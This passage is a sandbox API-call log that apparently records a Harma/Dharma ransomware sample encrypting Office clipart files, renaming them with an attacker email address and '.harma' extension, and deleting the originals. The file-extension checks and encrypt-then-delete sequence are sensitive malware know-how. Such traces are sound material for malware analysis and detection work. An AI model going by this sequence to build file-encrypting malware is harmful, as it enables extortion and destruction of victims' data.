lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.919] lstrlenW (lpString=".rar") returned 4 [0151.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString=".bz2") returned 4 [0151.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString=".7z") returned 3 [0151.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.919] lstrlenW (lpString=".dbf") returned 4 [0151.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.919] lstrlenW (lpString=".1cd") returned 4 [0151.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.919] lstrlenW (lpString=".jpg") returned 4 [0151.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.919] lstrlenW (lpString=".doc") returned 4 [0151.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString=".docx") returned 5 [0151.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.920] lstrlenW (lpString=".pdf") returned 4 [0151.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.920] lstrlenW (lpString=".xls") returned 4 [0151.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.920] lstrlenW (lpString=".xlsx") returned 5 [0151.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.920] lstrlenW (lpString=".ppt") returned 4 [0151.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.920] lstrlenW (lpString=".zip") returned 4 [0151.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.920] lstrlenW (lpString=".rar") returned 4 [0151.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.920] lstrlenW (lpString=".bz2") returned 4 [0151.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.920] lstrlenW (lpString=".7z") returned 3 [0151.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.920] lstrlenW (lpString=".dbf") returned 4 [0151.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.920] lstrlenW (lpString=".1cd") returned 4 [0151.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.920] lstrlenW (lpString=".jpg") returned 4 [0151.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.921] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.921] lstrlenW (lpString="DD01761_.WMF") returned 12 [0151.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.921] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4148) returned 1 [0151.921] CloseHandle (hObject=0x384) returned 1 [0151.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0151.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.922] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.922] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.923] GetLastError () returned 0x0 [0151.923] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1034, lpOverlapped=0x0) returned 1 [0152.155] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1040, lpOverlapped=0x0) returned 1 [0152.156] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0152.157] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.157] SetEndOfFile (hFile=0x380) returned 1 [0152.157] CloseHandle (hObject=0x380) returned 1 [0152.157] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.157] SetEndOfFile (hFile=0x384) returned 1 [0152.160] CloseHandle (hObject=0x384) returned 1 [0152.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0152.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.378] lstrlenW (lpString=".doc") returned 4 [0152.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.379] lstrlenW (lpString=".docx") returned 5 [0152.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.379] lstrlenW (lpString=".pdf") returned 4 [0152.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.379] lstrlenW (lpString=".xls") returned 4 [0152.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.379] lstrlenW (lpString=".xlsx") returned 5 [0152.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.379] lstrlenW (lpString=".ppt") returned 4 [0152.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.379] lstrlenW (lpString=".zip") returned 4 [0152.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.379] lstrlenW (lpString=".rar") returned 4 [0152.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.379] lstrlenW (lpString=".bz2") returned 4 [0152.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.379] lstrlenW (lpString=".7z") returned 3 [0152.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.380] lstrlenW (lpString=".dbf") returned 4 [0152.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.380] lstrlenW (lpString=".1cd") returned 4 [0152.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.380] lstrlenW (lpString=".jpg") returned 4 [0152.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.380] lstrlenW (lpString=".doc") returned 4 [0152.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.380] lstrlenW (lpString=".docx") returned 5 [0152.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.380] lstrlenW (lpString=".pdf") returned 4 [0152.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.380] lstrlenW (lpString=".xls") returned 4 [0152.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.380] lstrlenW (lpString=".xlsx") returned 5 [0152.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.380] lstrlenW (lpString=".ppt") returned 4 [0152.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.380] lstrlenW (lpString=".zip") returned 4 [0152.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.381] lstrlenW (lpString=".rar") returned 4 [0152.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.381] lstrlenW (lpString=".bz2") returned 4 [0152.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.381] lstrlenW (lpString=".7z") returned 3 [0152.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.381] lstrlenW (lpString=".dbf") returned 4 [0152.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.381] lstrlenW (lpString=".1cd") returned 4 [0152.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0152.381] lstrlenW (lpString=".jpg") returned 4 [0152.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.381] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.381] lstrlenW (lpString="EN00222_.WMF") returned 12 [0152.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.382] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=12356) returned 1 [0152.382] CloseHandle (hObject=0x384) returned 1 [0152.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0152.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.383] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.383] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.384] GetLastError () returned 0x0 [0152.385] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3044, lpOverlapped=0x0) returned 1 [0152.399] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3050, lpOverlapped=0x0) returned 1 [0152.401] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0152.401] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.401] SetEndOfFile (hFile=0x380) returned 1 [0152.401] CloseHandle (hObject=0x380) returned 1 [0152.401] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.401] SetEndOfFile (hFile=0x384) returned 1 [0152.404] CloseHandle (hObject=0x384) returned 1 [0152.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0152.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.468] lstrlenW (lpString=".doc") returned 4 [0152.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.468] lstrlenW (lpString=".docx") returned 5 [0152.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.468] lstrlenW (lpString=".pdf") returned 4 [0152.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.468] lstrlenW (lpString=".xls") returned 4 [0152.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.468] lstrlenW (lpString=".xlsx") returned 5 [0152.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.468] lstrlenW (lpString=".ppt") returned 4 [0152.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.468] lstrlenW (lpString=".zip") returned 4 [0152.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.468] lstrlenW (lpString=".rar") returned 4 [0152.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.468] lstrlenW (lpString=".bz2") returned 4 [0152.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.468] lstrlenW (lpString=".7z") returned 3 [0152.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.468] lstrlenW (lpString=".dbf") returned 4 [0152.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.469] lstrlenW (lpString=".1cd") returned 4 [0152.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.469] lstrlenW (lpString=".jpg") returned 4 [0152.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.469] lstrlenW (lpString=".doc") returned 4 [0152.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.469] lstrlenW (lpString=".docx") returned 5 [0152.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.469] lstrlenW (lpString=".pdf") returned 4 [0152.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.469] lstrlenW (lpString=".xls") returned 4 [0152.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.469] lstrlenW (lpString=".xlsx") returned 5 [0152.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.469] lstrlenW (lpString=".ppt") returned 4 [0152.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.469] lstrlenW (lpString=".zip") returned 4 [0152.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.470] lstrlenW (lpString=".rar") returned 4 [0152.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString=".bz2") returned 4 [0152.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString=".7z") returned 3 [0152.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.470] lstrlenW (lpString=".dbf") returned 4 [0152.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.470] lstrlenW (lpString=".1cd") returned 4 [0152.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0152.470] lstrlenW (lpString=".jpg") returned 4 [0152.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.733] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.733] lstrlenW (lpString="EN00397_.WMF") returned 12 [0152.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.758] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=17308) returned 1 [0152.758] CloseHandle (hObject=0x384) returned 1 [0152.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0152.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.762] GetLastError () returned 0x0 [0152.762] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x439c, lpOverlapped=0x0) returned 1 [0152.788] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0152.789] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0152.789] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.790] SetEndOfFile (hFile=0x380) returned 1 [0152.790] CloseHandle (hObject=0x380) returned 1 [0152.790] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.790] SetEndOfFile (hFile=0x384) returned 1 [0152.793] CloseHandle (hObject=0x384) returned 1 [0152.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0152.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.820] lstrlenW (lpString=".doc") returned 4 [0152.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.820] lstrlenW (lpString=".docx") returned 5 [0152.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.820] lstrlenW (lpString=".pdf") returned 4 [0152.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.820] lstrlenW (lpString=".xls") returned 4 [0152.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.820] lstrlenW (lpString=".xlsx") returned 5 [0152.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.821] lstrlenW (lpString=".ppt") returned 4 [0152.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.821] lstrlenW (lpString=".zip") returned 4 [0152.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.821] lstrlenW (lpString=".rar") returned 4 [0152.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.821] lstrlenW (lpString=".bz2") returned 4 [0152.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.821] lstrlenW (lpString=".7z") returned 3 [0152.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.821] lstrlenW (lpString=".dbf") returned 4 [0152.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.822] lstrlenW (lpString=".1cd") returned 4 [0152.822] lstrcmpiW (lpString1=".1cd", 